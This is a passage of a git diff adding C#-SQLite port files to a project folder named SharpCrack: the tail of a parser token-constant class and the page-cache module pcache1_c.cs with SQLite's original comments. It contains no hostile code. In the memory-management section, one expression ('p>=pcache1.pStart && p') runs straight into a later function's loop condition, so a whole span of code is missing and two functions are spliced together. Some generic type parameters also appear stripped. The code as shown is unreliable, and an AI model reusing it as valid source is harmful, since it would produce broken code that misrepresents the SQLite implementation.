30; + public const int TK_ANALYZE = 31; + public const int TK_ASC = 32; + public const int TK_ATTACH = 33; + public const int TK_BEFORE = 34; + public const int TK_BY = 35; + public const int TK_CASCADE = 36; + public const int TK_CAST = 37; + public const int TK_COLUMNKW = 38; + public const int TK_CONFLICT = 39; + public const int TK_DATABASE = 40; + public const int TK_DESC = 41; + public const int TK_DETACH = 42; + public const int TK_EACH = 43; + public const int TK_FAIL = 44; + public const int TK_FOR = 45; + public const int TK_IGNORE = 46; + public const int TK_INITIALLY = 47; + public const int TK_INSTEAD = 48; + public const int TK_LIKE_KW = 49; + public const int TK_MATCH = 50; + public const int TK_NO = 51; + public const int TK_KEY = 52; + public const int TK_OF = 53; + public const int TK_OFFSET = 54; + public const int TK_PRAGMA = 55; + public const int TK_RAISE = 56; + public const int TK_REPLACE = 57; + public const int TK_RESTRICT = 58; + public const int TK_ROW = 59; + public const int TK_TRIGGER = 60; + public const int TK_VACUUM = 61; + public const int TK_VIEW = 62; + public const int TK_VIRTUAL = 63; + public const int TK_REINDEX = 64; + public const int TK_RENAME = 65; + public const int TK_CTIME_KW = 66; + public const int TK_ANY = 67; + public const int TK_OR = 68; + public const int TK_AND = 69; + public const int TK_IS = 70; + public const int TK_BETWEEN = 71; + public const int TK_IN = 72; + public const int TK_ISNULL = 73; + public const int TK_NOTNULL = 74; + public const int TK_NE = 75; + public const int TK_EQ = 76; + public const int TK_GT = 77; + public const int TK_LE = 78; + public const int TK_LT = 79; + public const int TK_GE = 80; + public const int TK_ESCAPE = 81; + public const int TK_BITAND = 82; + public const int TK_BITOR = 83; + public const int TK_LSHIFT = 84; + public const int TK_RSHIFT = 85; + public const int TK_PLUS = 86; + public const int TK_MINUS = 87; + public const int TK_STAR = 88; + public const int TK_SLASH = 89; + public const int TK_REM = 90; + public const int TK_CONCAT = 91; + public const int TK_COLLATE = 92; + public const int TK_BITNOT = 93; + public const int TK_STRING = 94; + public const int TK_JOIN_KW = 95; + public const int TK_CONSTRAINT = 96; + public const int TK_DEFAULT = 97; + public const int TK_NULL = 98; + public const int TK_PRIMARY = 99; + public const int TK_UNIQUE = 100; + public const int TK_CHECK = 101; + public const int TK_REFERENCES = 102; + public const int TK_AUTOINCR = 103; + public const int TK_ON = 104; + public const int TK_INSERT = 105; + public const int TK_DELETE = 106; + public const int TK_UPDATE = 107; + public const int TK_SET = 108; + public const int TK_DEFERRABLE = 109; + public const int TK_FOREIGN = 110; + public const int TK_DROP = 111; + public const int TK_UNION = 112; + public const int TK_ALL = 113; + public const int TK_EXCEPT = 114; + public const int TK_INTERSECT = 115; + public const int TK_SELECT = 116; + public const int TK_DISTINCT = 117; + public const int TK_DOT = 118; + public const int TK_FROM = 119; + public const int TK_JOIN = 120; + public const int TK_USING = 121; + public const int TK_ORDER = 122; + public const int TK_GROUP = 123; + public const int TK_HAVING = 124; + public const int TK_LIMIT = 125; + public const int TK_WHERE = 126; + public const int TK_INTO = 127; + public const int TK_VALUES = 128; + public const int TK_INTEGER = 129; + public const int TK_FLOAT = 130; + public const int TK_BLOB = 131; + public const int TK_REGISTER = 132; + public const int TK_VARIABLE = 133; + public const int TK_CASE = 134; + public const int TK_WHEN = 135; + public const int TK_THEN = 136; + public const int TK_ELSE = 137; + public const int TK_INDEX = 138; + public const int TK_ALTER = 139; + public const int TK_ADD = 140; + public const int TK_TO_TEXT = 141; + public const int TK_TO_BLOB = 142; + public const int TK_TO_NUMERIC = 143; + public const int TK_TO_INT = 144; + public const int TK_TO_REAL = 145; + public const int TK_ISNOT = 146; + public const int TK_END_OF_FILE = 147; + public const int TK_ILLEGAL = 148; + public const int TK_SPACE = 149; + public const int TK_UNCLOSED_STRING = 150; + public const int TK_FUNCTION = 151; + public const int TK_COLUMN = 152; + public const int TK_AGG_FUNCTION = 153; + public const int TK_AGG_COLUMN = 154; + public const int TK_CONST_FUNC = 155; + public const int TK_UMINUS = 156; + public const int TK_UPLUS = 157; + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/pcache1_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/pcache1_c.cs new file mode 100644 index 0000000..d8c52ea --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/pcache1_c.cs @@ -0,0 +1,1171 @@ +using System.Diagnostics; + +using u32 = System.UInt32; +using Pgno = System.UInt32; + +namespace Community.CsharpSqlite +{ + using sqlite3_pcache = Sqlite3.PCache1; + public partial class Sqlite3 + { + /* + ** 2008 November 05 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** + ** This file implements the default page cache implementation (the + ** sqlite3_pcache interface). It also contains part of the implementation + ** of the SQLITE_CONFIG_PAGECACHE and sqlite3_release_memory() features. + ** If the default page cache implementation is overriden, then neither of + ** these two features are available. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2011-06-23 19:49:22 4374b7e83ea0a3fbc3691f9c0c936272862f32f2 + ** + ************************************************************************* + */ + + //#include "sqliteInt.h" + + //typedef struct PCache1 PCache1; + //typedef struct PgHdr1 PgHdr1; + //typedef struct PgFreeslot PgFreeslot; + //typedef struct PGroup PGroup; + + /* Each page cache (or PCache) belongs to a PGroup. A PGroup is a set + ** of one or more PCaches that are able to recycle each others unpinned + ** pages when they are under memory pressure. A PGroup is an instance of + ** the following object. + ** + ** This page cache implementation works in one of two modes: + ** + ** (1) Every PCache is the sole member of its own PGroup. There is + ** one PGroup per PCache. + ** + ** (2) There is a single global PGroup that all PCaches are a member + ** of. + ** + ** Mode 1 uses more memory (since PCache instances are not able to rob + ** unused pages from other PCaches) but it also operates without a mutex, + ** and is therefore often faster. Mode 2 requires a mutex in order to be + ** threadsafe, but is able recycle pages more efficient. + ** + ** For mode (1), PGroup.mutex is NULL. For mode (2) there is only a single + ** PGroup which is the pcache1.grp global variable and its mutex is + ** SQLITE_MUTEX_STATIC_LRU. + */ + public class PGroup + { + public sqlite3_mutex mutex; /* MUTEX_STATIC_LRU or NULL */ + public int nMaxPage; /* Sum of nMax for purgeable caches */ + public int nMinPage; /* Sum of nMin for purgeable caches */ + public int mxPinned; /* nMaxpage + 10 - nMinPage */ + public int nCurrentPage; /* Number of purgeable pages allocated */ + public PgHdr1 pLruHead, pLruTail; /* LRU list of unpinned pages */ + // C# + public PGroup() + { + mutex = new sqlite3_mutex(); + } + }; + + /* Each page cache is an instance of the following object. Every + ** open database file (including each in-memory database and each + ** temporary or transient database) has a single page cache which + ** is an instance of this object. + ** + ** Pointers to structures of this type are cast and returned as + ** opaque sqlite3_pcache* handles. + */ + public class PCache1 + { + /* Cache configuration parameters. Page size (szPage) and the purgeable + ** flag (bPurgeable) are set when the cache is created. nMax may be + ** modified at any time by a call to the pcache1CacheSize() method. + ** The PGroup mutex must be held when accessing nMax. + */ + public PGroup pGroup; /* PGroup this cache belongs to */ + public int szPage; /* Size of allocated pages in bytes */ + public bool bPurgeable; /* True if cache is purgeable */ + public int nMin; /* Minimum number of pages reserved */ + public int nMax; /* Configured "cache_size" value */ + public int n90pct; /* nMax*9/10 */ + + /* Hash table of all pages. The following variables may only be accessed + ** when the accessor is holding the PGroup mutex. + */ + public int nRecyclable; /* Number of pages in the LRU list */ + public int nPage; /* Total number of pages in apHash */ + public int nHash; /* Number of slots in apHash[] */ + public PgHdr1[] apHash; /* Hash table for fast lookup by key */ + + public Pgno iMaxKey; /* Largest key seen since xTruncate() */ + + public void Clear() + { + nRecyclable = 0; + nPage = 0; + nHash = 0; + apHash = null; + iMaxKey = 0; + } + }; + + /* + ** Each cache entry is represented by an instance of the following + ** structure. A buffer of PgHdr1.pCache.szPage bytes is allocated + ** directly before this structure in memory (see the PGHDR1_TO_PAGE() + ** macro below). + */ + public class PgHdr1 + { + public Pgno iKey; /* Key value (page number) */ + public PgHdr1 pNext; /* Next in hash table chain */ + public PCache1 pCache; /* Cache that currently owns this page */ + public PgHdr1 pLruNext; /* Next in LRU list of unpinned pages */ + public PgHdr1 pLruPrev; /* Previous in LRU list of unpinned pages */ + + // For C# + public PgHdr pPgHdr = new PgHdr(); /* Pointer to Actual Page Header */ + + public void Clear() + { + this.iKey = 0; + this.pNext = null; + this.pCache = null; + this.pPgHdr.Clear(); + } + + }; + + /* + ** Free slots in the allocator used to divide up the buffer provided using + ** the SQLITE_CONFIG_PAGECACHE mechanism. + */ + public class PgFreeslot + { + public PgFreeslot pNext; /* Next free slot */ + public PgHdr _PgHdr; /* Next Free Header */ + }; + + /* + ** Global data used by this cache. + */ + public class PCacheGlobal + { + public PGroup grp; /* The global PGroup for mode (2) */ + + /* Variables related to SQLITE_CONFIG_PAGECACHE settings. The + ** szSlot, nSlot, pStart, pEnd, nReserve, and isInit values are all + ** fixed at sqlite3_initialize() time and do not require mutex protection. + ** The nFreeSlot and pFree values do require mutex protection. + */ + public bool isInit; /* True if initialized */ + public int szSlot; /* Size of each free slot */ + public int nSlot; /* The number of pcache slots */ + public int nReserve; /* Try to keep nFreeSlot above this */ + public object pStart, pEnd; /* Bounds of pagecache malloc range */ + /* Above requires no mutex. Use mutex below for variable that follow. */ + public sqlite3_mutex mutex; /* Mutex for accessing the following: */ + public int nFreeSlot; /* Number of unused pcache slots */ + public PgFreeslot pFree; /* Free page blocks */ + /* The following value requires a mutex to change. We skip the mutex on + ** reading because (1) most platforms read a 32-bit integer atomically and + ** (2) even if an incorrect value is read, no great harm is done since this + ** is really just an optimization. */ + public bool bUnderPressure; /* True if low on PAGECACHE memory */ + + // C# + public PCacheGlobal() + { + grp = new PGroup(); + } + } + static PCacheGlobal pcache = new PCacheGlobal(); + + /* + ** All code in this file should access the global structure above via the + ** alias "pcache1". This ensures that the WSD emulation is used when + ** compiling for systems that do not support real WSD. + */ + //#define pcache1 (GLOBAL(struct PCacheGlobal, pcache1_g)) + static PCacheGlobal pcache1 = pcache; + + /* + ** When a PgHdr1 structure is allocated, the associated PCache1.szPage + ** bytes of data are located directly before it in memory (i.e. the total + ** size of the allocation is sizeof(PgHdr1)+PCache1.szPage byte). The + ** PGHDR1_TO_PAGE() macro takes a pointer to a PgHdr1 structure as + ** an argument and returns a pointer to the associated block of szPage + ** bytes. The PAGE_TO_PGHDR1() macro does the opposite: its argument is + ** a pointer to a block of szPage bytes of data and the return value is + ** a pointer to the associated PgHdr1 structure. + ** + ** Debug.Assert( PGHDR1_TO_PAGE(PAGE_TO_PGHDR1(pCache, X))==X ); + */ + //#define PGHDR1_TO_PAGE(p) (void)(((char)p) - p.pCache.szPage) + static PgHdr PGHDR1_TO_PAGE( PgHdr1 p ) + { + return p.pPgHdr; + } + + //#define PAGE_TO_PGHDR1(c, p) (PgHdr1)(((char)p) + c.szPage) + static PgHdr1 PAGE_TO_PGHDR1( PCache1 c, PgHdr p ) + { + return p.pPgHdr1; + } + + /* + ** Macros to enter and leave the PCache LRU mutex. + */ + //#define pcache1EnterMutex(X) sqlite3_mutex_enter((X).mutex) + static void pcache1EnterMutex( PGroup X ) + { + sqlite3_mutex_enter( X.mutex ); + } + //#define pcache1LeaveMutex(X) sqlite3_mutex_leave((X).mutex) + static void pcache1LeaveMutex( PGroup X ) + { + sqlite3_mutex_leave( X.mutex ); + } + + /******************************************************************************/ + /******** Page Allocation/SQLITE_CONFIG_PCACHE Related Functions **************/ + + /* + ** This function is called during initialization if a static buffer is + ** supplied to use for the page-cache by passing the SQLITE_CONFIG_PAGECACHE + ** verb to sqlite3_config(). Parameter pBuf points to an allocation large + ** enough to contain 'n' buffers of 'sz' bytes each. + ** + ** This routine is called from sqlite3_initialize() and so it is guaranteed + ** to be serialized already. There is no need for further mutexing. + */ + static void sqlite3PCacheBufferSetup( object pBuf, int sz, int n ) + { + if ( pcache1.isInit ) + { + PgFreeslot p; + sz = ROUNDDOWN8( sz ); + pcache1.szSlot = sz; + pcache1.nSlot = pcache1.nFreeSlot = n; + pcache1.nReserve = n > 90 ? 10 : ( n / 10 + 1 ); + pcache1.pStart = null; + pcache1.pEnd = null; + pcache1.pFree = null; + pcache1.bUnderPressure = false; + while ( n-- > 0 ) + { + p = new PgFreeslot();// (PgFreeslot)pBuf; + p._PgHdr = new PgHdr(); + p.pNext = pcache1.pFree; + pcache1.pFree = p; + //pBuf = (void)&((char)pBuf)[sz]; + } + pcache1.pEnd = pBuf; + } + } + + /* + ** Malloc function used within this file to allocate space from the buffer + ** configured using sqlite3_config(SQLITE_CONFIG_PAGECACHE) option. If no + ** such buffer exists or there is no space left in it, this function falls + ** back to sqlite3Malloc(). + ** + ** Multiple threads can run this routine at the same time. Global variables + ** in pcache1 need to be protected via mutex. + */ + static PgHdr pcache1Alloc( int nByte ) + { + PgHdr p = null; + Debug.Assert( sqlite3_mutex_notheld( pcache1.grp.mutex ) ); + sqlite3StatusSet( SQLITE_STATUS_PAGECACHE_SIZE, nByte ); + if ( nByte <= pcache1.szSlot ) + { + sqlite3_mutex_enter( pcache1.mutex ); + p = pcache1.pFree._PgHdr; + if ( p != null ) + { + pcache1.pFree = pcache1.pFree.pNext; + pcache1.nFreeSlot--; + pcache1.bUnderPressure = pcache1.nFreeSlot < pcache1.nReserve; + Debug.Assert( pcache1.nFreeSlot >= 0 ); + sqlite3StatusAdd( SQLITE_STATUS_PAGECACHE_USED, 1 ); + } + sqlite3_mutex_leave( pcache1.mutex ); + } + if ( p == null ) + { + /* Memory is not available in the SQLITE_CONFIG_PAGECACHE pool. Get + ** it from sqlite3Malloc instead. + */ + p = new PgHdr();// sqlite3Malloc( nByte ); + //if ( p != null ) + { + int sz = nByte;//sqlite3MallocSize( p ); + sqlite3_mutex_enter( pcache1.mutex ); + sqlite3StatusAdd( SQLITE_STATUS_PAGECACHE_OVERFLOW, sz ); + sqlite3_mutex_leave( pcache1.mutex ); + } + sqlite3MemdebugSetType( p, MEMTYPE_PCACHE ); + } + return p; + } + + /* + ** Free an allocated buffer obtained from pcache1Alloc(). + */ + static void pcache1Free( ref PgHdr p ) + { + if ( p == null ) + return; + if ( p.CacheAllocated )//if ( p >= pcache1.pStart && p < pcache1.pEnd ) + { + PgFreeslot pSlot = new PgFreeslot(); + sqlite3_mutex_enter( pcache1.mutex ); + sqlite3StatusAdd( SQLITE_STATUS_PAGECACHE_USED, -1 ); + pSlot._PgHdr = p;// pSlot = (PgFreeslot)p; + pSlot.pNext = pcache1.pFree; + pcache1.pFree = pSlot; + pcache1.nFreeSlot++; + pcache1.bUnderPressure = pcache1.nFreeSlot < pcache1.nReserve; + Debug.Assert( pcache1.nFreeSlot <= pcache1.nSlot ); + sqlite3_mutex_leave( pcache1.mutex ); + } + else + { + int iSize; + Debug.Assert( sqlite3MemdebugHasType( p, MEMTYPE_PCACHE ) ); + sqlite3MemdebugSetType( p, MEMTYPE_HEAP ); + iSize = sqlite3MallocSize( p.pData ); + sqlite3_mutex_enter( pcache1.mutex ); + sqlite3StatusAdd( SQLITE_STATUS_PAGECACHE_OVERFLOW, -iSize ); + sqlite3_mutex_leave( pcache1.mutex ); + sqlite3_free( ref p.pData ); + } + } + +#if SQLITE_ENABLE_MEMORY_MANAGEMENT +/* +** Return the size of a pcache allocation +*/ +static int pcache1MemSize(object p){ + if( p>=pcache1.pStart && p pGroup.nMaxPage && pGroup.pLruTail != null ) + { + PgHdr1 p = pGroup.pLruTail; + Debug.Assert( p.pCache.pGroup == pGroup ); + pcache1PinPage( p ); + pcache1RemoveFromHash( p ); + pcache1FreePage( ref p ); + } + } + + /* + ** Discard all pages from cache pCache with a page number (key value) + ** greater than or equal to iLimit. Any pinned pages that meet this + ** criteria are unpinned before they are discarded. + ** + ** The PCache mutex must be held when this function is called. + */ + static void pcache1TruncateUnsafe( + PCache1 pCache, /* The cache to truncate */ + uint iLimit /* Drop pages with this pgno or larger */ + ) + { +#if !NDEBUG || SQLITE_COVERAGE_TEST //TESTONLY( uint nPage = 0; ) /* To assert pCache.nPage is correct */ + uint nPage = 0; +#endif + uint h; + Debug.Assert( sqlite3_mutex_held( pCache.pGroup.mutex ) ); + for ( h = 0; h < pCache.nHash; h++ ) + { + PgHdr1 pPrev = null; + PgHdr1 pp = pCache.apHash[h]; + PgHdr1 pPage; + while ( ( pPage = pp ) != null ) + { + if ( pPage.iKey >= iLimit ) + { + pCache.nPage--; + pp = pPage.pNext; + pcache1PinPage( pPage ); + if ( pCache.apHash[h] == pPage ) + pCache.apHash[h] = pPage.pNext; + else + pPrev.pNext = pp; + pcache1FreePage( ref pPage ); + } + else + { + pp = pPage.pNext; +#if !NDEBUG || SQLITE_COVERAGE_TEST //TESTONLY( nPage++; ) + nPage++; +#endif + } + pPrev = pPage; + } + } +#if !NDEBUG || SQLITE_COVERAGE_TEST + Debug.Assert( pCache.nPage == nPage ); +#endif + } + + /******************************************************************************/ + /******** sqlite3_pcache Methods **********************************************/ + + /* + ** Implementation of the sqlite3_pcache.xInit method. + */ + static int pcache1Init( T NotUsed ) + { + UNUSED_PARAMETER( NotUsed ); + Debug.Assert( pcache1.isInit == false ); + pcache1 = new PCacheGlobal();//memset(&pcache1, 0, sizeof(pcache1)); + if ( sqlite3GlobalConfig.bCoreMutex ) + { + pcache1.grp.mutex = sqlite3_mutex_alloc( SQLITE_MUTEX_STATIC_LRU ); + pcache1.mutex = sqlite3_mutex_alloc( SQLITE_MUTEX_STATIC_PMEM ); + } + pcache1.grp.mxPinned = 10; + pcache1.isInit = true; + return SQLITE_OK; + } + + /* + ** Implementation of the sqlite3_pcache.xShutdown method. + ** Note that the static mutex allocated in xInit does + ** not need to be freed. + */ + static void pcache1Shutdown( T NotUsed ) + { + UNUSED_PARAMETER( NotUsed ); + Debug.Assert( pcache1.isInit ); + pcache1 = new PCacheGlobal();//;memset( &pcache1, 0, sizeof( pcache1 ) ); + } + + /* + ** Implementation of the sqlite3_pcache.xCreate method. + ** + ** Allocate a new cache. + */ + static sqlite3_pcache pcache1Create( int szPage, bool bPurgeable ) + { + PCache1 pCache; /* The newly created page cache */ + PGroup pGroup; /* The group the new page cache will belong to */ + int sz; /* Bytes of memory required to allocate the new cache */ + + /* + ** The seperateCache variable is true if each PCache has its own private + ** PGroup. In other words, separateCache is true for mode (1) where no + ** mutexing is required. + ** + ** * Always use a unified cache (mode-2) if ENABLE_MEMORY_MANAGEMENT + ** + ** * Always use a unified cache in single-threaded applications + ** + ** * Otherwise (if multi-threaded and ENABLE_MEMORY_MANAGEMENT is off) + ** use separate caches (mode-1) + */ +#if (SQLITE_ENABLE_MEMORY_MANAGEMENT) || !SQLITE_THREADSAF + const int separateCache = 0; +#else + int separateCache = sqlite3GlobalConfig.bCoreMutex>0; +#endif + + //sz = sizeof( PCache1 ) + sizeof( PGroup ) * separateCache; + pCache = new PCache1();//(PCache1)sqlite3_malloc( sz ); + //if ( pCache != null ) + { + //memset( pCache, 0, sz ); + if ( separateCache != 0 ) + { + //pGroup = new PGroup();//(PGroup)pCache[1]; + //pGroup.mxPinned = 10; + } + else + { + pGroup = pcache1.grp; + } + pCache.pGroup = pGroup; + pCache.szPage = szPage; + pCache.bPurgeable = bPurgeable;//( bPurgeable ? 1 : 0 ); + if ( bPurgeable ) + { + pCache.nMin = 10; + pcache1EnterMutex( pGroup ); + pGroup.nMinPage += (int)pCache.nMin; + pGroup.mxPinned = pGroup.nMaxPage + 10 - pGroup.nMinPage; + pcache1LeaveMutex( pGroup ); + } + } + return (sqlite3_pcache)pCache; + } + + /* + ** Implementation of the sqlite3_pcache.xCachesize method. + ** + ** Configure the cache_size limit for a cache. + */ + static void pcache1Cachesize( sqlite3_pcache p, int nMax ) + { + PCache1 pCache = (PCache1)p; + if ( pCache.bPurgeable ) + { + PGroup pGroup = pCache.pGroup; + pcache1EnterMutex( pGroup ); + pGroup.nMaxPage += nMax - pCache.nMax; + pGroup.mxPinned = pGroup.nMaxPage + 10 - pGroup.nMinPage; + pCache.nMax = nMax; + pCache.n90pct = pCache.nMax * 9 / 10; + pcache1EnforceMaxPage( pGroup ); + pcache1LeaveMutex( pGroup ); + } + } + + /* + ** Implementation of the sqlite3_pcache.xPagecount method. + */ + static int pcache1Pagecount( sqlite3_pcache p ) + { + int n; + PCache1 pCache = (PCache1)p; + pcache1EnterMutex( pCache.pGroup ); + n = (int)pCache.nPage; + pcache1LeaveMutex( pCache.pGroup ); + return n; + } + + /* + ** Implementation of the sqlite3_pcache.xFetch method. + ** + ** Fetch a page by key value. + ** + ** Whether or not a new page may be allocated by this function depends on + ** the value of the createFlag argument. 0 means do not allocate a new + ** page. 1 means allocate a new page if space is easily available. 2 + ** means to try really hard to allocate a new page. + ** + ** For a non-purgeable cache (a cache used as the storage for an in-memory + ** database) there is really no difference between createFlag 1 and 2. So + ** the calling function (pcache.c) will never have a createFlag of 1 on + ** a non-purgable cache. + ** + ** There are three different approaches to obtaining space for a page, + ** depending on the value of parameter createFlag (which may be 0, 1 or 2). + ** + ** 1. Regardless of the value of createFlag, the cache is searched for a + ** copy of the requested page. If one is found, it is returned. + ** + ** 2. If createFlag==0 and the page is not already in the cache, NULL is + ** returned. + ** + ** 3. If createFlag is 1, and the page is not already in the cache, then + ** return NULL (do not allocate a new page) if any of the following + ** conditions are true: + ** + ** (a) the number of pages pinned by the cache is greater than + ** PCache1.nMax, or + ** + ** (b) the number of pages pinned by the cache is greater than + ** the sum of nMax for all purgeable caches, less the sum of + ** nMin for all other purgeable caches, or + ** + ** 4. If none of the first three conditions apply and the cache is marked + ** as purgeable, and if one of the following is true: + ** + ** (a) The number of pages allocated for the cache is already + ** PCache1.nMax, or + ** + ** (b) The number of pages allocated for all purgeable caches is + ** already equal to or greater than the sum of nMax for all + ** purgeable caches, + ** + ** (c) The system is under memory pressure and wants to avoid + ** unnecessary pages cache entry allocations + ** + ** then attempt to recycle a page from the LRU list. If it is the right + ** size, return the recycled buffer. Otherwise, free the buffer and + ** proceed to step 5. + ** + ** 5. Otherwise, allocate and return a new page buffer. + */ + static PgHdr pcache1Fetch( sqlite3_pcache p, Pgno iKey, int createFlag ) + { + int nPinned; + PCache1 pCache = (PCache1)p; + PGroup pGroup; + PgHdr1 pPage = null; + + Debug.Assert( pCache.bPurgeable || createFlag != 1 ); + Debug.Assert( pCache.bPurgeable || pCache.nMin == 0 ); + Debug.Assert( pCache.bPurgeable == false || pCache.nMin == 10 ); + Debug.Assert( pCache.nMin == 0 || pCache.bPurgeable ); + pcache1EnterMutex( pGroup = pCache.pGroup ); + + /* Step 1: Search the hash table for an existing entry. */ + if ( pCache.nHash > 0 ) + { + int h = (int)( iKey % pCache.nHash ); + for ( pPage = pCache.apHash[h]; pPage != null && pPage.iKey != iKey; pPage = pPage.pNext ) + ; + } + + /* Step 2: Abort if no existing page is found and createFlag is 0 */ + if ( pPage != null || createFlag == 0 ) + { + pcache1PinPage( pPage ); + goto fetch_out; + } + + /* The pGroup local variable will normally be initialized by the + ** pcache1EnterMutex() macro above. But if SQLITE_MUTEX_OMIT is defined, + ** then pcache1EnterMutex() is a no-op, so we have to initialize the + ** local variable here. Delaying the initialization of pGroup is an + ** optimization: The common case is to exit the module before reaching + ** this point. + */ +#if !NO_SQLITE_MUTEX_OMIT + pGroup = pCache.pGroup; +#endif + + + /* Step 3: Abort if createFlag is 1 but the cache is nearly full */ + nPinned = pCache.nPage - pCache.nRecyclable; + Debug.Assert( nPinned >= 0 ); + Debug.Assert( pGroup.mxPinned == pGroup.nMaxPage + 10 - pGroup.nMinPage ); + Debug.Assert( pCache.n90pct == pCache.nMax * 9 / 10 ); + if ( createFlag == 1 && ( + nPinned >= pGroup.mxPinned + || nPinned >= (int)pCache.n90pct + || pcache1UnderMemoryPressure( pCache ) + ) ) + { + goto fetch_out; + } + + if ( pCache.nPage >= pCache.nHash && pcache1ResizeHash( pCache ) != 0 ) + { + goto fetch_out; + } + + /* Step 4. Try to recycle a page. */ + if ( pCache.bPurgeable && pGroup.pLruTail != null && ( + ( pCache.nPage + 1 >= pCache.nMax ) + || pGroup.nCurrentPage >= pGroup.nMaxPage + || pcache1UnderMemoryPressure( pCache ) + ) ) + { + PCache1 pOtherCache; + pPage = pGroup.pLruTail; + pcache1RemoveFromHash( pPage ); + pcache1PinPage( pPage ); + if ( ( pOtherCache = pPage.pCache ).szPage != pCache.szPage ) + { + pcache1FreePage( ref pPage ); + pPage = null; + } + else + { + pGroup.nCurrentPage -= + ( pOtherCache.bPurgeable ? 1 : 0 ) - ( pCache.bPurgeable ? 1 : 0 ); + } + } + + /* Step 5. If a usable page buffer has still not been found, + ** attempt to allocate a new one. + */ + if ( null == pPage ) + { + if ( createFlag == 1 ) + sqlite3BeginBenignMalloc(); + pcache1LeaveMutex( pGroup ); + pPage = pcache1AllocPage( pCache ); + pcache1EnterMutex( pGroup ); + if ( createFlag == 1 ) + sqlite3EndBenignMalloc(); + } + + if ( pPage != null ) + { + int h = (int)( iKey % pCache.nHash ); + pCache.nPage++; + pPage.iKey = iKey; + pPage.pNext = pCache.apHash[h]; + pPage.pCache = pCache; + pPage.pLruPrev = null; + pPage.pLruNext = null; + PGHDR1_TO_PAGE( pPage ).Clear();// *(void **)(PGHDR1_TO_PAGE(pPage)) = 0; + pPage.pPgHdr.pPgHdr1 = pPage; + pCache.apHash[h] = pPage; + } + +fetch_out: + if ( pPage != null && iKey > pCache.iMaxKey ) + { + pCache.iMaxKey = iKey; + } + pcache1LeaveMutex( pGroup ); + return ( pPage != null ? PGHDR1_TO_PAGE( pPage ) : null ); + } + + + /* + ** Implementation of the sqlite3_pcache.xUnpin method. + ** + ** Mark a page as unpinned (eligible for asynchronous recycling). + */ + static void pcache1Unpin( sqlite3_pcache p, PgHdr pPg, bool reuseUnlikely ) + { + PCache1 pCache = (PCache1)p; + PgHdr1 pPage = PAGE_TO_PGHDR1( pCache, pPg ); + PGroup pGroup = pCache.pGroup; + + Debug.Assert( pPage.pCache == pCache ); + pcache1EnterMutex( pGroup ); + + /* It is an error to call this function if the page is already + ** part of the PGroup LRU list. + */ + Debug.Assert( pPage.pLruPrev == null && pPage.pLruNext == null ); + Debug.Assert( pGroup.pLruHead != pPage && pGroup.pLruTail != pPage ); + + if ( reuseUnlikely || pGroup.nCurrentPage > pGroup.nMaxPage ) + { + pcache1RemoveFromHash( pPage ); + pcache1FreePage( ref pPage ); + } + else + { + /* Add the page to the PGroup LRU list. */ + if ( pGroup.pLruHead != null ) + { + pGroup.pLruHead.pLruPrev = pPage; + pPage.pLruNext = pGroup.pLruHead; + pGroup.pLruHead = pPage; + } + else + { + pGroup.pLruTail = pPage; + pGroup.pLruHead = pPage; + } + pCache.nRecyclable++; + } + + pcache1LeaveMutex( pCache.pGroup ); + } + + /* + ** Implementation of the sqlite3_pcache.xRekey method. + */ + static void pcache1Rekey( + sqlite3_pcache p, + PgHdr pPg, + Pgno iOld, + Pgno iNew + ) + { + PCache1 pCache = (PCache1)p; + PgHdr1 pPage = PAGE_TO_PGHDR1( pCache, pPg ); + PgHdr1 pp; + int h; + Debug.Assert( pPage.iKey == iOld ); + Debug.Assert( pPage.pCache == pCache ); + + pcache1EnterMutex( pCache.pGroup ); + + h = (int)( iOld % pCache.nHash ); + pp = pCache.apHash[h]; + while ( ( pp ) != pPage ) + { + pp = ( pp ).pNext; + } + if ( pp == pCache.apHash[h] ) + pCache.apHash[h] = pp.pNext; + else + pp.pNext = pPage.pNext; + + h = (int)( iNew % pCache.nHash ); + pPage.iKey = iNew; + pPage.pNext = pCache.apHash[h]; + pCache.apHash[h] = pPage; + if ( iNew > pCache.iMaxKey ) + { + pCache.iMaxKey = iNew; + } + + pcache1LeaveMutex( pCache.pGroup ); + } + + /* + ** Implementation of the sqlite3_pcache.xTruncate method. + ** + ** Discard all unpinned pages in the cache with a page number equal to + ** or greater than parameter iLimit. Any pinned pages with a page number + ** equal to or greater than iLimit are implicitly unpinned. + */ + static void pcache1Truncate( sqlite3_pcache p, Pgno iLimit ) + { + PCache1 pCache = (PCache1)p; + pcache1EnterMutex( pCache.pGroup ); + if ( iLimit <= pCache.iMaxKey ) + { + pcache1TruncateUnsafe( pCache, iLimit ); + pCache.iMaxKey = iLimit - 1; + } + pcache1LeaveMutex( pCache.pGroup ); + } + + /* + ** Implementation of the sqlite3_pcache.xDestroy method. + ** + ** Destroy a cache allocated using pcache1Create(). + */ + static void pcache1Destroy( ref sqlite3_pcache p ) + { + PCache1 pCache = (PCache1)p; + PGroup pGroup = pCache.pGroup; + Debug.Assert( pCache.bPurgeable || ( pCache.nMax == 0 && pCache.nMin == 0 ) ); + pcache1EnterMutex( pGroup ); + pcache1TruncateUnsafe( pCache, 0 ); + pGroup.nMaxPage -= pCache.nMax; + pGroup.nMinPage -= pCache.nMin; + pGroup.mxPinned = pGroup.nMaxPage + 10 - pGroup.nMinPage; + pcache1EnforceMaxPage( pGroup ); + pcache1LeaveMutex( pGroup ); + //sqlite3_free( pCache.apHash ); + //sqlite3_free( pCache ); + p = null; + } + + /* + ** This function is called during initialization (sqlite3_initialize()) to + ** install the default pluggable cache module, assuming the user has not + ** already provided an alternative. + */ + static void sqlite3PCacheSetDefault() + { + sqlite3_pcache_methods defaultMethods = new sqlite3_pcache_methods( + 0, /* pArg */ + (dxPC_Init)pcache1Init, /* xInit */ + (dxPC_Shutdown)pcache1Shutdown, /* xShutdown */ + (dxPC_Create)pcache1Create, /* xCreate */ + (dxPC_Cachesize)pcache1Cachesize, /* xCachesize */ + (dxPC_Pagecount)pcache1Pagecount, /* xPagecount */ + (dxPC_Fetch)pcache1Fetch, /* xFetch */ + (dxPC_Unpin)pcache1Unpin, /* 